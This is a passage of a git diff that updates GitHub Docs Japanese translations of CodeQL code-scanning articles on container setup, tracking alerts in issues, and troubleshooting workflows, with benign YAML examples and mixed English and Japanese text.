-You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_runner %} or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_runner %}, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)" for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see "[Example workflow](#example-workflow)."
+{% data variables.product.prodname_codeql %}は、コードをビルドするコンテナ内で実行しなければなりません。 これは、使用しているのが {% data variables.product.prodname_codeql_runner %} であれ {% data variables.product.prodname_actions %} であれ同様です。 {% data variables.product.prodname_codeql_runner %}については、詳しい情報は「[CIシステムでの{% data variables.product.prodname_codeql_runner %}の実行](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)」を参照してください。 {% data variables.product.prodname_actions %} を使用している場合は、同じコンテナですべてのアクションを実行するようワークフローを設定します。 詳しい情報については「[ワークフローの例](#example-workflow)」を参照してください。
 {% endif %}
 
-## Dependencies
+## 依存関係
 
-You may have difficulty running {% data variables.product.prodname_code_scanning %} if the container you're using is missing certain dependencies (for example, Git must be installed and added to the PATH variable). If you encounter dependency issues, review the list of software typically included on {% data variables.product.prodname_dotcom %}'s virtual environments. For more information, see the version-specific `readme` files in these locations:
+使用しているコンテナで特定の依存関係がない場合 (たとえば、Git は PATH 変数にインストールされ、追加されている必要がある)、{% data variables.product.prodname_code_scanning %} を実行する上で困難が生じる場合があります。 依存関係の問題が生じた場合は、{% data variables.product.prodname_dotcom %} の仮想環境に通常含まれているソフトウェアのリストを確認してください。 詳しい情報については、次の場所にある特定のバージョンの `readme` ファイルを参照してください。
 
 * Linux: https://github.com/actions/virtual-environments/tree/main/images/linux
 * macOS: https://github.com/actions/virtual-environments/tree/main/images/macos
 * Windows: https://github.com/actions/virtual-environments/tree/main/images/win
 
-## Example workflow
+## ワークフローの例
 
-This sample workflow uses {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_codeql %} analysis in a containerized environment. The value of `container.image` identifies the container to use. In this example the image is named `codeql-container`, with a tag of `f0f91db`. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)."
+このサンプルワークフローでは、{% data variables.product.prodname_actions %} を使用して、コンテナ化された環境において {% data variables.product.prodname_codeql %} 解析を実行します。 `container.image` の値で、使用するコンテナを指定します。 この例では、イメージ名は `codeql-container` で、`f0f91db` のタグが付いています。 詳しい情報については、「[{% data variables.product.prodname_actions %} のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)」を参照してください。
 
 ``` yaml
 name: "{% data variables.product.prodname_codeql %}"
diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md
index c1ea916c94..57e621ed64 100644
--- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md
+++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md
@@ -26,7 +26,7 @@ topics:
 You can also create a new issue to track an alert:
 - From a {% data variables.product.prodname_code_scanning %} alert, which automatically adds the code scanning alert to a task list in the new issue. For more information, see "[Creating a tracking issue from a {% data variables.product.prodname_code_scanning %} alert](#creating-a-tracking-issue-from-a-code-scanning-alert)" below.
 
-- Via the API as you normally would, and then provide the code scanning link within the body of the issue. You must use the task list syntax to create the tracked relationship: 
+- Via the API as you normally would, and then provide the code scanning link within the body of the issue. You must use the task list syntax to create the tracked relationship:
    - `- [ ] <full-URL- to-the-code-scanning-alert>`
    - For example, if you add `- [ ] https://github.com/octocat-org/octocat-repo/security/code-scanning/17` to an issue, the issue will track the code scanning alert that has an ID number of 17 in the "Security" tab of the `octocat-repo` repository in the `octocat-org` organization.
 
@@ -39,18 +39,18 @@ You can use more than one issue to track the same {% data variables.product.prod
 
   ![Tracked in pill on code scanning alert page](/assets/images/help/repository/code-scanning-alert-list-tracked-issues.png)
 
-- A "tracked in" section will also show in the corresponding alert page. 
+- A "tracked in" section will also show in the corresponding alert page.
 
   ![Tracked in section on code scanning alert page](/assets/images/help/repository/code-scanning-alert-tracked-in-pill.png)
 
-- On the tracking issue, {% data variables.product.prodname_dotcom %} displays a security badge icon in the task list and on the hovercard. 
-  
+- On the tracking issue, {% data variables.product.prodname_dotcom %} displays a security badge icon in the task list and on the hovercard.
+
   {% note %}
 
   Only users with write permissions to the repository will see the unfurled URL to the alert in the issue, as well as the hovercard. For users with read permissions to the repository, or no permissions at all, the alert will appear as a plain URL.
 
   {% endnote %}
-  
+
   The color of the icon is grey because an alert has a status of "open" or "closed" on every branch. The issue tracks an alert, so the alert cannot have a single open/closed state in the issue. If the alert is closed on one branch, the icon color will not change.
 
   ![Hovercard in tracking issue](/assets/images/help/repository/code-scanning-tracking-issue-hovercard.png)
@@ -64,14 +64,13 @@ The status of the tracked alert won't change if you change the checkbox state of
 {% data reusables.repositories.sidebar-code-scanning-alerts %}
 {% ifversion fpt or ghes or ghae %}
 {% data reusables.code-scanning.explore-alert %}
-1. Optionally, to find the alert to track, you can use the free-text search or the drop-down menus to filter and locate the alert. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-code-scanning-alerts)."
+1. Optionally, to find the alert to track, you can use the free-text search or the drop-down menus to filter and locate the alert. 詳しい情報については、「[リポジトリの Code scanningアラートを管理する](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-code-scanning-alerts)」を参照してください。
 {% endif %}
-1. Towards the top of the page, on the right side, click **Create issue**. 
-   ![Create a tracking issue for the code scanning alert](/assets/images/help/repository/code-scanning-create-issue-for-alert.png)
+1. Towards the top of the page, on the right side, click **Create issue**. ![Create a tracking issue for the code scanning alert](/assets/images/help/repository/code-scanning-create-issue-for-alert.png)
    {% data variables.product.prodname_dotcom %} automatically creates an issue to track the alert and adds the alert as a task list item.
    {% data variables.product.prodname_dotcom %} prepopulates the issue:
    - The title contains the name of the {% data variables.product.prodname_code_scanning %} alert.
-   - The body contains the task list item with the full URL to the {% data variables.product.prodname_code_scanning %} alert. 
+   - The body contains the task list item with the full URL to the {% data variables.product.prodname_code_scanning %} alert.
 2. Optionally, edit the title and the body of the issue.
    {% warning %}
 
diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
index 322a5f346e..e3a1b43f3f 100644
--- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
+++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
@@ -1,7 +1,7 @@
 ---
-title: Troubleshooting the CodeQL workflow
-shortTitle: Troubleshoot CodeQL workflow
-intro: 'If you''re having problems with {% data variables.product.prodname_code_scanning %}, you can troubleshoot by using these tips for resolving issues.'
+title: CodeQL ワークフローのトラブルシューティング
+shortTitle: CodeQLワークフローのトラブルシューティング
+intro: '{% data variables.product.prodname_code_scanning %} で問題が生じている場合、ここに掲載されている問題解決のためのヒントを使ってトラブルを解決できます。'
 product: '{% data reusables.gated-features.code-scanning %}'
 redirect_from:
   - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning
@@ -26,14 +26,15 @@ topics:
   - C#
   - Java
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/finding-security-vulnerabilities-and-errors-in-your-code-->
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.not-available %}
 
-## Producing detailed logs for debugging
+## デバッグ用の詳細なログを生成する
 
-To produce more detailed logging output, you can enable step debug logging. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging)."
+詳細なログ出力を生成するため、ステップのデバッグロギングを有効化することができます。 詳しい情報については、「[デバッグログの有効化](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging)」を参照してください。
 
 {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5601 %}
 
@@ -47,21 +48,21 @@ You can obtain artifacts to help you debug {% data variables.product.prodname_co
   with:
     debug: true
 ```
-The debug artifacts will be uploaded to the workflow run as an artifact named `debug-artifacts`. The data contains the {% data variables.product.prodname_codeql %} logs, {% data variables.product.prodname_codeql %} database(s), and any SARIF file(s) produced by the workflow. 
+The debug artifacts will be uploaded to the workflow run as an artifact named `debug-artifacts`. The data contains the {% data variables.product.prodname_codeql %} logs, {% data variables.product.prodname_codeql %} database(s), and any SARIF file(s) produced by the workflow.
 
 These artifacts will help you debug problems with {% data variables.product.prodname_codeql %} code scanning. If you contact GitHub support, they might ask for this data.
 
 {% endif %}
 
-## Automatic build for a compiled language fails
+## コンパイル言語の自動ビルドの失敗
 
-If an automatic build of code for a compiled language within your project fails, try the following troubleshooting steps.
+プロジェクト内のコンパイル言語のコードの自動ビルドが失敗した場合は、次のトラブルシューティングのステップを試してください。
 
-- Remove the `autobuild` step from your {% data variables.product.prodname_code_scanning %} workflow and add specific build steps. For information about editing the workflow, see  "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." For more information about replacing the `autobuild` step, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
+- {% data variables.product.prodname_code_scanning %} ワークフローから `autobuild` ステップを削除し、特定のビルドステップを追加します。 ワークフローの編集に関する詳しい情報は、「[{% data variables.product.prodname_code_scanning %} を設定する](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)」を参照してください。 `autobuild` ステップの置き換えに関する詳細は、「[コンパイル型言語の {% data variables.product.prodname_codeql %} ワークフローを設定する](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)」を参照してください。
 
-- If your workflow doesn't explicitly specify the languages to analyze, {% data variables.product.prodname_codeql %} implicitly detects the supported languages in your code base. In this configuration, out of the compiled languages C/C++, C#, and Java, {% data variables.product.prodname_codeql %} only analyzes the language with the most source files. Edit the workflow and add a build matrix specifying the languages you want to analyze. The default CodeQL analysis workflow uses such a matrix.
+- ワークフローが解析する言語を明示的に指定していない場合、{% data variables.product.prodname_codeql %} はコードベースでサポートされている言語を暗黙的に検出します。 この設定では、コンパイル型言語である C/C++、C#、Java のうち、{% data variables.product.prodname_codeql %} はソースファイルの数が最も多い言語のみを解析します。 ワークフローを編集し、解析する言語を指定したビルドマトリクスを追加してください。 デフォルトの CodeQL 解析では、こうしたマトリクスを使用しています。
 
-  The following extracts from a workflow show how you can use a matrix within the job strategy to specify languages, and then reference each language within the "Initialize {% data variables.product.prodname_codeql %}" step:
+  以下はワークフローからの抜粋で、まず言語を指定するジョブ戦略におけるマトリクスの使用法を示し、次に「Initialize {% data variables.product.prodname_codeql %}」のステップで各言語を参照しています。
 
   ```yaml
   jobs:
@@ -83,13 +84,13 @@ If an automatic build of code for a compiled language within your project fails,
             languages: {% raw %}${{ matrix.language }}{% endraw %}
   ```
 
-  For more information about editing the workflow, see "[Configuring code scanning](/code-security/secure-coding/configuring-code-scanning)."
+  ワークフローの編集に関する詳しい情報については、「[コードスキャンを設定する](/code-security/secure-coding/configuring-code-scanning)」を参照してください。
 
-## No code found during the build
+## ビルド中にコードが見つからない
 
-If your workflow fails with an error `No source code was seen during the build` or `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure:
+ワークフローでエラー `No source code was seen during the build` または `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32` が発生した場合、{% data variables.product.prodname_codeql %} がコードを監視できなかったことを示しています。 このようなエラーが発生する理由として、次のようなものがあります。
 
-1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by updating the list of languages in the `language` matrix. For example, the following configuration will analyze only Go, and JavaScript.
+1. 自動言語検出により、サポートされている言語が特定されたが、リポジトリにその言語の分析可能なコードがない。 一般的な例としては、言語検出サービスが `.h` や `.gyp` ファイルなどの特定のプログラミング言語に関連付けられたファイルを見つけたが、対応する実行可能コードがリポジトリに存在しない場合です。 この問題を解決するには、`language` マトリクスにある言語のリストを更新し、解析する言語を手動で定義します。 たとえば、次の設定では Go と JavaScript のみを分析します。
 
   ```yaml
   strategy:
@@ -100,28 +101,28 @@ If your workflow fails with an error `No source code was seen during the build`
       language: ['go', 'javascript']
   ```
 
-   For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
-1. Your {% data variables.product.prodname_code_scanning %} workflow is analyzing a compiled language (C, C++, C#, or Java), but the code was not compiled. By default, the {% data variables.product.prodname_codeql %} analysis workflow contains an `autobuild` step, however, this step represents a best effort process, and may not succeed in building your code, depending on your specific build environment. Compilation may also fail if you have removed the `autobuild` step and did not include build steps manually.  For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
-1. Your workflow is analyzing a compiled language (C, C++, C#, or Java), but portions of your build are cached to improve performance (most likely to occur with build systems like Gradle or Bazel). Since {% data variables.product.prodname_codeql %} observes the activity of the compiler to understand the data flows in a repository, {% data variables.product.prodname_codeql %} requires a complete build to take place in order to perform analysis. 
-1. Your workflow is analyzing a compiled language (C, C++, C#, or Java), but compilation does not occur between the `init` and `analyze` steps in the workflow. {% data variables.product.prodname_codeql %} requires that your build happens in between these two steps in order to observe the activity of the compiler and perform analysis. 
-1. Your compiled code (in C, C++, C#, or Java) was compiled successfully, but {% data variables.product.prodname_codeql %} was unable to detect the compiler invocations. The most common causes are:
+   詳しい情報については、上記「[コンパイル言語の自動ビルドの失敗](#automatic-build-for-a-compiled-language-fails)」にあるワークフローの抜粋を参照してください。
+1. {% data variables.product.prodname_code_scanning %} ワークフローはコンパイルされた言語（C、C++、C#、または Java）を分析しているが、コードはコンパイルされていない。 デフォルトでは、{% data variables.product.prodname_codeql %} 分析ワークフローには `autobuild` ステップが含まれていますが、このステップはベスト エフォートプロセスを表しており、特定のビルド環境によっては、コードのビルドに失敗する可能性があります。 `autobuild` ステップを削除し、ビルドステップを手動で含めない場合も、コンパイルが失敗する可能性があります。  ビルドステップの指定に関する詳細は、「[コンパイル型言語の {% data variables.product.prodname_codeql %} ワークフローを設定する](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)」を参照してください。
+1. ワークフローはコンパイルされた言語（C、C++、C#、または Java）を分析しているが、パフォーマンスを向上させるためにビルドの一部がキャッシュされている（Gradle や Bazel などのビルドシステムで発生する可能性が最も高い）。 {% data variables.product.prodname_codeql %} はコンパイラのアクティビティを監視してリポジトリ内のデータフローを理解するため、{% data variables.product.prodname_codeql %} は分析を実行するために完全なビルドを実行する必要があります。
+1. ワークフローはコンパイルされた言語（C、C++、C＃、または Java）を分析しているが、ワークフローの `init` ステップと `analyze` ステップの間でコンパイルが行われていない。 {% data variables.product.prodname_codeql %} では、コンパイラのアクティビティを監視して分析を実行するために、これらの 2 つのステップ間でビルドを行う必要があります。
+1. コンパイルされたコード（C、C++、C#、または Java）は正常にコンパイルされたが、{% data variables.product.prodname_codeql %} がコンパイラの呼び出しを検出できない。 一般的な原因は次のようなものです。
 
-   * Running your build process in a separate container to {% data variables.product.prodname_codeql %}. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)."
-   * Building using a distributed build system external to GitHub Actions, using a daemon process.
-   * {% data variables.product.prodname_codeql %} isn't aware of the specific compiler you are using.
+   * ビルドプロセスを {% data variables.product.prodname_codeql %} とは別のコンテナで実行している。 詳しい情報については、「[コンテナで CodeQL コードスキャンを実行する](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)」を参照してください。
+   * デーモンプロセスを使用して、GitHub Actions の外部で分散ビルドシステムによりビルドしている。
+   * {% data variables.product.prodname_codeql %} は、使用されているコンパイラを認識していない。
 
   For .NET Framework projects, and for C# projects using either `dotnet build` or `msbuild`, you should specify `/p:UseSharedCompilation=false` in your workflow's `run` step, when you build your code.
-  
-  For example, the following configuration for C# will pass the flag during the first build step.
+
+  たとえば、次の C# に対する設定では、最初のビルドステップ中にフラグが渡されます。
 
    ``` yaml
    - run: |
        dotnet build /p:UseSharedCompilation=false
    ```
 
-  If you encounter another problem with your specific compiler or configuration, contact {% data variables.contact.contact_support %}.
+  特定のコンパイラまたは設定で別の問題が発生した場合は、{% data variables.contact.contact_support %} までお問い合わせください。
 
-For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." 
+ビルドステップの指定に関する詳細は、「[コンパイル型言語の {% data variables.product.prodname_codeql %} ワークフローを設定する](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)」を参照してください。
 
 {% ifversion fpt or ghes > 3.1  or ghae or ghec %}
 ## Lines of code scanned are lower than expected
@@ -133,10 +134,9 @@ For compiled languages like C/C++, C#, Go, and Java, {% data variables.product.p
 
 If your {% data variables.product.prodname_codeql %} analysis scans fewer lines of code than expected, there are several approaches you can try to make sure all the necessary source files are compiled.
 
-### Replace the `autobuild` step 
+### Replace the `autobuild` step
 
-Replace the `autobuild` step with the same build commands you would use in production. This makes sure that {% data variables.product.prodname_codeql %} knows exactly how to compile all of the source files you want to scan.
-For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." 
+Replace the `autobuild` step with the same build commands you would use in production. This makes sure that {% data variables.product.prodname_codeql %} knows exactly how to compile all of the source files you want to scan. 詳しい情報については、「[コンパイル型言語の {% data variables.product.prodname_codeql %} ワークフローを設定する](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)」を参照してください。
 
 ### Inspect the copy of the source files in the {% data variables.product.prodname_codeql %} database
 You may be able to understand why some source files haven't been analyzed by inspecting the copy of the source code included with the {% data variables.product.prodname_codeql %} database. To obtain the database from your Actions workflow, add an `upload-artifact` action after the analysis step in your code scanning workflow:
@@ -152,69 +152,68 @@ The artifact will contain an archived copy of the source files scanned by {% dat
 
 ## Extraction errors in the database
 
-The {% data variables.product.prodname_codeql %} team constantly works on critical extraction errors to make sure that all source files can be scanned. However, the {% data variables.product.prodname_codeql %} extractors do occasionally generate errors during database creation. {% data variables.product.prodname_codeql %} provides information about extraction errors and warnings generated during database creation in a log file. 
-The extraction diagnostics information gives an indication of overall database health. Most extractor errors do not significantly impact the analysis. A small number of extractor errors is healthy and typically indicates a good state of analysis.
+The {% data variables.product.prodname_codeql %} team constantly works on critical extraction errors to make sure that all source files can be scanned. However, the {% data variables.product.prodname_codeql %} extractors do occasionally generate errors during database creation. {% data variables.product.prodname_codeql %} provides information about extraction errors and warnings generated during database creation in a log file. The extraction diagnostics information gives an indication of overall database health. Most extractor errors do not significantly impact the analysis. A small number of extractor errors is healthy and typically indicates a good state of analysis.
 
 However, if you see extractor errors in the overwhelming majority of files that were compiled during database creation, you should look into the errors in more detail to try to understand why some source files weren't extracted properly.
 
 {% else %}
-## Portions of my repository were not analyzed using `autobuild`
+## リポジトリの一部が `autobuild` を使用して分析されない
 
-The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository, however, sometimes this approach results in incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not complete since the `autobuild` step will only execute one of the commands. The solution is to replace the `autobuild` step with build steps which build all of the source code which you wish to analyze. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
+{% data variables.product.prodname_codeql %} の `autobuild` 機能は、ヒューリスティックスを使用してリポジトリにコードをビルドしますが、このアプローチでは、リポジトリの分析が不完全になることがあります。 たとえば、単一のリポジトリに複数の `build.sh` コマンドが存在する場合、`autobuild` ステップはコマンドの 1 つしか実行しないため、分析が完了しない場合があります。 これを解決するには、`autobuild` ステップを、分析するすべてのソースコードをビルドするビルドステップに置き換えます。 詳しい情報については、「[コンパイル型言語の {% data variables.product.prodname_codeql %} ワークフローを設定する](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)」を参照してください。
 {% endif %}
 
 
-## The build takes too long
+## ビルドに時間がかかりすぎる
 
-If your build with {% data variables.product.prodname_codeql %} analysis takes too long to run, there are several approaches you can try to reduce the build time. 
+{% data variables.product.prodname_codeql %} 分析でのビルドの実行に時間がかかりすぎる場合は、ビルド時間を短縮するための方法がいくつかあります。
 
-### Increase the memory or cores
+### メモリまたはコアを増やす
 
-If you use self-hosted runners to run {% data variables.product.prodname_codeql %} analysis, you can increase the memory or the number of cores on those runners.
+セルフホストランナーを使用して {% data variables.product.prodname_codeql %} 解析を実行している場合、ランナーのメモリやコア数を増やすことができます。
 
-### Use matrix builds to parallelize the analysis
+### マトリックスビルドを使用して分析を並列化する
 
-The default {% data variables.product.prodname_codeql_workflow %} uses a build matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
+デフォルトの {% data variables.product.prodname_codeql_workflow %} は言語のビルドマトリクスを使用しており、これにより各言語の解析が並列で実行される場合があります。 「Initialize CodeQL」ステップで解析する言語を直接指定している場合、各言語の解析は順次行われます。 複数の言語で解析を高速化するには、マトリクスを使用するようワークフローを変更してください。 詳しい情報については、上記「[コンパイル言語の自動ビルドの失敗](#automatic-build-for-a-compiled-language-fails)」にあるワークフローの抜粋を参照してください。
 
-### Reduce the amount of code being analyzed in a single workflow
+### 1 つのワークフローで分析されるコードの量を減らす
 
-Analysis time is typically proportional to the amount of code being analyzed. You can reduce the analysis time by reducing the amount of code being analyzed at once, for example, by excluding test code, or breaking analysis into multiple workflows that analyze only a subset of your code at a time.
+一般的に、分析時間は分析されるコードの量に比例します。 たとえば、テストコードを除外したり、一度にコードのサブセットのみを分析する複数のワークフローに分析を分割したりするなど、一度に分析されるコードの量を減らすことで、分析時間を短縮できます。
 
-For compiled languages like Java, C, C++, and C#, {% data variables.product.prodname_codeql %} analyzes all of the code which was built during the workflow run. To limit the amount of code being analyzed, build only the code which you wish to analyze by specifying your own build steps in a `run` block. You can combine specifying your own build steps with using the `paths` or `paths-ignore` filters on the `pull_request` and `push` events to ensure that your workflow only runs when specific code is changed. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)."
+Java、C、C++、C# などのコンパイルされた言語の場合、{% data variables.product.prodname_codeql %} はワークフローの実行中に作成されたすべてのコードを分析します。 分析するコードの量を制限するには、`run` ブロックで独自のビルドステップを指定して、分析するコードのみをビルドします。 独自のビルドステップの指定と、`pull_request` および `push` イベントの `paths` または `paths-ignore` フィルタの使用を組み合わせて、特定のコードが変更されたときにのみワークフローが実行されるようにすることができます。 詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)」を参照してください。
 
-For interpreted languages like Go, JavaScript, Python, and TypeScript, that {% data variables.product.prodname_codeql %} analyzes without a specific build, you can specify additional configuration options to limit the amount of code to analyze. For more information, see "[Specifying directories to scan](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)."
+For languages like Go, JavaScript, Python, and TypeScript, that {% data variables.product.prodname_codeql %} analyzes without compiling the source code, you can specify additional configuration options to limit the amount of code to analyze. 詳しい情報については、「[スキャンするディレクトリを指定する](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)」を参照してください。
 
-If you split your analysis into multiple workflows as described above, we still recommend that you have at least one workflow which runs on a `schedule` which analyzes all of the code in your repository. Because {% data variables.product.prodname_codeql %} analyzes data flows between components, some complex security behaviors may only be detected on a complete build. 
+上記のように分析を複数のワークフローに分割する場合でも、リポジトリ内のすべてのコードを分析する `schedule` で実行されるワークフローを少なくとも 1 つ用意することをお勧めします。 {% data variables.product.prodname_codeql %} はコンポーネント間のデータフローを分析するため、一部の複雑なセキュリティ動作は完全なビルドでのみ検出される場合があります。
 
-### Run only during a `schedule` event
+### `schedule` イベント中にのみ実行する
 
-If your analysis is still too slow to be run during `push` or `pull_request` events, then you may want to only trigger analysis on the `schedule` event. For more information, see "[Events](/actions/learn-github-actions/introduction-to-github-actions#events)."
+それでも分析が遅すぎるために、`push` または `pull_request` イベント中に実行できない場合は、`schedule` イベントでのみ分析をトリガーすることをお勧めします。 詳しい情報については、「[イベント](/actions/learn-github-actions/introduction-to-github-actions#events)」を参照してください。
 
 {% ifversion fpt or ghec %}
-## Results differ between analysis platforms
+## 分析プラットフォーム間で異なる結果
 
-If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.product.prodname_codeql_workflow %} on Linux, macOS, or Windows.
+Pythonで書かれたコードを分析しているなら、{% data variables.product.prodname_codeql_workflow %}をLinux、macOS、Windowsのいずれで実行しているかによって、異なる結果が得られるかもしれません。
 
-On GitHub-hosted runners that use Linux, the {% data variables.product.prodname_codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)."
+GitHubがホストするLinuxを使用したランナーでは、{% data variables.product.prodname_codeql_workflow %}はPythonの依存関係をインストールして分析しようとし、それによってより多くの結果につながることがあります。 自動インストールを無効にするには、ワークフローの"Initialize CodeQL"ステップに`setup-python-dependencies: false`を追加してください。 Pythonの依存関係の分析の設定に関する詳しい情報については「[Pythonの依存関係の分析](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)」を参照してください。
 
 {% endif %}
 
-## Error: "Server error"
+## エラー: 「サーバーエラー」
 
-If the run of a workflow for {% data variables.product.prodname_code_scanning %} fails due to a server error, try running the workflow again. If the problem persists, contact {% data variables.contact.contact_support %}.
+サーバーエラーにより {% data variables.product.prodname_code_scanning %} のワークフローが実行できない場合は、ワークフローを再実行してください。 問題が解決しない場合は、{% data variables.contact.contact_support %} にお問い合わせください。
 
-## Error: "Out of disk" or "Out of memory"
+## エラー:「ディスク不足」または「メモリ不足」
 
 On very large projects, {% data variables.product.prodname_codeql %} may run out of disk or memory on the runner.
-{% ifversion fpt or ghec %}If you encounter this issue on a hosted {% data variables.product.prodname_actions %} runner, contact {% data variables.contact.contact_support %} so that we can investigate the problem.
-{% else %}If you encounter this issue, try increasing the memory on the runner.{% endif %}
+{% ifversion fpt or ghec %}ホストされた{% data variables.product.prodname_actions %}ランナーでこの問題が生じた場合は、弊社が問題を調査できるよう{% data variables.contact.contact_support %}に連絡してください。
+{% else %}この問題が生じたら、ランナー上のメモリを増やしてみてください。{% endif %}
 
 {% ifversion fpt or ghec %}
-## Error: 403 "Resource not accessible by integration" when using {% data variables.product.prodname_dependabot %}
+## {% data variables.product.prodname_dependabot %}を使用している際のError: 403 "Resource not accessible by integration"
 
-{% data variables.product.prodname_dependabot %} is considered untrusted when it triggers a workflow run, and the workflow will run with read-only scopes. Uploading {% data variables.product.prodname_code_scanning %} results for a branch usually requires the `security_events: write` scope. However, {% data variables.product.prodname_code_scanning %} always allows the uploading of results when the `pull_request` event triggers the action run. This is why, for {% data variables.product.prodname_dependabot %} branches, we recommend you use the `pull_request` event instead of the `push` event.
+{% data variables.product.prodname_dependabot %}は、ワークフローの実行をトリガーする際に信頼できないと見なされ、ワークフローは読み取りのみのスコープで実行されます。 ブランチに対する{% data variables.product.prodname_code_scanning %}の結果をアップロードするには、通常`security_events: write`スコープが必要になります。 ただし、`pull_request`イベントがアクションの実行をトリガーした際には、{% data variables.product.prodname_code_scanning %}初音に結果のアップロードを許可します。 これが、{% data variables.product.prodname_dependabot %}ブランチでは`push`イベントの代わりに`pull_request`イベントを使うことをおすすめする理由です。
 
-A simple approach is to run on pushes to the default branch and any other important long-running branches, as well as pull requests opened against this set of branches:
+シンプルなアプローチは、このブランチ群に対してオープンされたPull Requestとともに、デフォルトブランチやその他の重要な長時間実行されるブランチに対するプッシュで実行することです。
 ```yaml
